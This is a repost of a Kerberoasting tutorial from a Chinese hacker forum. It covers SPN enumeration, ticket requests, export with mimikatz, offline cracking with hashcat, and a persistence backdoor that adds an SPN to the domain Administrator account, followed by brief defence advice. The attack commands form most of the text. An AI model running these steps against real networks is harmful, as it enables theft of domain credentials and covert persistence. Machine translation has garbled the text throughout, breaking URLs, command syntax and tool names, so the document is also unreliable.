跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

域渗透——广播


CHQ1d

推荐的帖子

0x00 前言

Kerberoasting是域渗透中经常使用的一项技术,本文将参考公开的资料,结合自己的理解,详细介绍Kerberoasting的原理和实现,以及一个后门利用的方法,最后给出防御建议。

参考资料:

http://www。哈米。net/blog/powershell/Kerberos ast-without-Mimi Katz/

http://www.harmj0y.net/blog/redteaming/from-kekeo-to-rubeus/

https://malicious.link/post/2016/kerberoast-pt1/

https://malicious.link/post/2016/kerberoast-pt2/

https://malicious.link/post/2016/kerberoast-pt3/

https://adsecurity.org/?p=3458

https://adsecurity.org/?page_id=183

https://blog.netspi.com/faster-domain-escalation-using-ldap/

https://社会。TechNet。微软。com/wiki/目录/文章/717。service-principal-names-spns-setspn-syntax-setspn-exe。aspx

0x01 简介

本文将要介绍以下内容:

Kerberoasting相关概念

Kerberoasting的原理

Kerberoasting的实现

Kerberoasting的后门利用

Kerberoasting的防御

0x02 基本概念

SPN

官方文档:

https://份文件。微软。com/en-us/windows/desktop/AD/service-principal-names

全称服务主体名称

SPN是服务器上所运行服务的唯一标识,每个使用麻省理工学院开发的安全认证系统的服务都需要一个SPN

SPN分为两种,一种注册在广告上机器帐户(计算机)下,另一种注册在域用户帐户(用户)下

当一个服务的权限为本地系统或网络服务,则SPN注册在机器帐户(计算机)下

当一个服务的权限为一个域用户,则SPN注册在域用户帐户(用户)下

SPN的格式

服务类/主机:端口/服务名

说明:

服务类别可以理解为服务的名称,常见的有www,ldap,SMTP,DNS,主机等

宿主有两种形式,FQDN和网络基本输入输出系统(网络基本输入/输出系统)名,例如server01.test.com和服务器01

如果服务运行在默认端口上,则端口号(港口)可以省略

查询SPN

对域控制器发起轻量级目录访问协议查询,这是正常网络认证协议(名字来源于希腊神话中"三个头的狗——地狱之门守护者")票据行为的一部分,因此查询SPN的操作很难被检测

(1) 使用SetSPN

Win7和Windows Server2008自带的工具

查看当前域内的所有SPN:

setspn.exe-q */*

查看试验域内的所有SPN:

setspn.exe-T检验-q */*

输出结果实例:

CN=DC1,OU=域控制器,DC=测试,DC=com

exchangeRFR/DC1

exchangeRFR/DC1.test.com

exchangeMDB/DC1.test.com

exchangeMDB/DC1

exchangeAB/DC1

exchangeAB/DC1.test.com

SMTP/DC1

SMTP/DC1.test.com

SmtpSvc/DC1

SmtpSvc/DC1.test.com

LDAP/dc1。测试。com/forestdnszones。测试。com

LDAP/dc1。测试。com/域DNS区域。测试。com

dfsr-12 F9 a 27 c-BF97-4787-9364-d 31 b 6 c 55 EB 04/dc1。测试。com

DNS/DC1.test.com

GC/DC1.test.com/test.com

RestrictedKrbHost/DC1.test.com

RestrictedKrbHost/DC1

主机/DC1/测试

HOST/DC1.test.com/TEST

主机/DC1

HOST/DC1.test.com

HOST/DC1.test.com/test.com

e 3514235-4b 06-11 D1-AB04-00 c 04 fc 2d CD 2/0f 33253 b-2314-40f 0-b665-f 4317 b 13 E6 b 9/测试。com

LDAP/DC1/测试

LDAP/0f 33253 b-2314-40f 0-b665-f 4317 b 13 e6b 9 ._msdcs.test.com

ldap/DC1.test.com/TEST

ldap/DC1

ldap/DC1.test.com

ldap/DC1.test.com/test.com

CN=krbtgt,CN=用户,DC=测试,DC=com

kadmin/changepw

CN=计算机01,CN=计算机,DC=测试,DC=通讯

RestrictedKrbHost/COMPUTER01

主机/计算机01

受限krb host/计算机01。测试。com

主机/计算机01.test.com

CN=MSSQL服务管理,CN=用户,DC=测试,DC=com

MSSQLSvc/DC1.test.com

以通信网络(交流网的缩写)开头的每一行代表一个帐户,其下的信息是与该帐户相关联的SPN

对于上面的输出数据,机器帐户(计算机)为:

CN=DC1,OU=域控制器,DC=测试,DC=com

CN=计算机01,CN=计算机,DC=测试,DC=通讯

域用户帐户(用户)为:

CN=krbtgt,CN=用户,DC=测试,DC=com

CN=MSSQL服务管理,CN=用户,DC=测试,DC=com

注册在域用户帐户(用户)下的SPN有两个:kadmin/changepw和MSSQLSvc/DC1.test.com

0x03 Kerberoasting的原理

1、Kerberos认证过程

一个简单的麻省理工学院开发的安全认证系统认证过程如下图

2-1.png

as _请求

as _回复

tgs _请求

tgs _回复

ap _请求

ap _回复

4.对于4.tgs_reply,用户会收到目标服务实例NTLM哈希加密生成的tgs(服务票),加密算法是RC4-HMAC。

从利用的角度来看,获得这个TGS后,可以尝试穷尽密码,模拟加密过程,生成TGS进行对比。如果TGS相同,并且代表性密码正确,则可以获得目标服务实例的明文密码。

2、Windows系统通过SPN查询获得服务和服务实例帐户的对应关系

这里有一个例子:

a .要访问MySQL服务的资源,当用户转到4.tgs_reply时,步骤如下:

(1)域控制器查询MySQL服务的SPN。

如果SPN是在机器帐户(计算机)下注册的,将查询所有机器帐户(计算机)的servicePrincipalName属性以找到相应的帐户。

如果SPN是在域用户帐户(Users)下注册的,将查询所有域用户的servicePrincipalName属性来查找对应的帐户。

(2)找到对应的账户后,使用该账户的NTLM哈希生成TGS

3、域内的主机都能查询SPN

4、域内的任何用户都可以向域内的任何服务请求TGS

综上所述,域内任何主机都可以查询SPN,向域内所有服务请求TGS,得到TGS后暴力破解。

对于被破解的明文密码,只有域用户帐户(Users)的密码才有值,而不考虑机器帐户(不能用于远程连接)的密码。

因此,高效利用的思路如下:

要查询SPN并找到有价值的SPN,需要满足以下条件:

SPN是在域用户帐户(用户)下注册的

域用户帐户具有高权限。

请求TGS

出口TGS

强力

0x04 Kerberoasting的实现方法一

1、获得有价值的SPN

需要满足以下条件:

SPN是在域用户帐户(用户)下注册的

域用户帐户具有高权限。

您可以选择以下三种方法:

(1)使用powershell模块Active Directory

注:

Powershell模块Active Directory需要提前安装,通常会安装域控制器。

导入模块ActiveDirectory

get-aduser-filter { admin count-eq1-and(servicePrincipalName-ne 0)}-prop * | select name,whencreated,pwdlastset,lastlogon

对于未安装Active Directory模块的系统,您可以通过以下命令导入Active Directory模块:

导入模块。\微软。ActiveDirectory.Management.dll

微软。ActiveDirectory.Management.dll是在安装powershell模块Active Directory后生成的,我已经解压并上传到github:

https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll

(2)使用PowerView

https://github . com/powershell mafia/PowerSploit/blob/dev/Recon/power view . PS1

get-net user-SPN-admin count |选择名称,创建时间,pwdlastset,lastlogon

(3)使用kerberoast

powershell:

https://github . com/nidem/Kerberos ast/blob/master/getuserspns . PS1

vbs:

https://github . com/nidem/Kerberos/blob/master/getuserspns . VBS

参数如下:

cscript GetUserSPNs.vbs

2、请求TGS

(1)请求指定TGS

$ SPN name=' MSSQL SVC/dc1 . test . com '

添加类型程序集名称系统。身份模型

新对象系统。identity model . tokens . Kerberos requestorsecuritytoken-argument list $ SPN name

(2)请求所有TGS

添加类型程序集名称系统。身份模型

setspn.exe-q */* | select-string '^cn'上下文0,1 | % {新对象系统。身份模型。tokens . Kerberos requestorsecuritytoken-argument list $ _ . context . post context[0]。Trim() }

执行后,进入klist查看内存中的账单,可以找到您获得的TGS。

3、导出

使用mimikatz

kerberos:列表/导出

4、破解

https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py。/tgsrepcrack . py word list . txt test . kir bi

0x05 Kerberoasting的实现方法二

自动,不需要mimikatz,普通用户权限,资源:

http://www . harmj 0y . net/blog/powershell/Kerberos ast-without-mimikatz/

代码地址:

https://github . com/Empire project/Empire/commit/6ee7e 036607 a62b 0192 daed 46d 3711 AFC 65 c 3921

使用系统。identity model . tokens . Kerberos requestorsecuritytoken请求TGS,从返回的结果中提取TGS,并选择开膛手约翰或哈希卡特来破解输出TGS。

示例演示:

在域中的主机上以普通用户权限执行:

invoke-Kerberos ast-AdminCount-output format Hashcat | fl

-AdminCount表示选择具有高权限的用户。

输出结果如下

2-2.png

只有提取的散列的参数如下:

invoke-Kerberos ast-AdminCount-output format Hashcat | Select hash | convert to-CSV-notype information

输出结果如下

2-3.png

用hashcat破解的参数如下:

hashcat-m 13100/tmp/hash . txt/tmp/password . list-o found . txt-force

破解结果如下图,成功获得明文密码MySQLAdmin111!

2-4.png

注:

Rubeus也可以实现Invoke-Kerberos ast的功能,地址如下:

https://github.com/GhostPack/Rubeus

参数如下:

Rubeus.exe克伯罗斯

0x06 Kerberoasting的后门利用

在我们获得了SPN的修改权限后,就可以为指定的域用户添加一个SPN,这样就可以随时获取该域用户的TGS,被破解后得到明文密码。

例如,使用以下参数为域用户Administrator添加SPNVNC/DC1.test.com:

setspn.exe大学VNC/DC1.test.com管理员

如下图

3-1.png

域中的任何主机都可以获得SPN,并且可以使用Kerberoast获得TGS,如下图所示。

3-2.png

然后用hashcat破解。

补充:

删除SPN的参数如下:

setspn.exe-VNC/dc1 . test . com管理员

0x07 防御

从防御角度来说,无法阻止kerberoast,但可以增加具有攻击值的SPN(注册在权限高的域用户账号下)的密码长度,可以提高破解难度,并定期修改关联域用户的密码。

管理员可以在域中的主机上使用Invoke-Kerberos ast来检查是否存在危险的SPN。

下载地址:

https://github . com/powershell mafia/PowerSploit/blob/dev/Recon/power view . PS1

参数:

get-net user-SPN-admin count |选择名称,创建时间,pwdlastset,lastlogon

0x08 小结

本文详细介绍了Kerberoasting认证的原理、方法和防御,并给出了一个实例。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...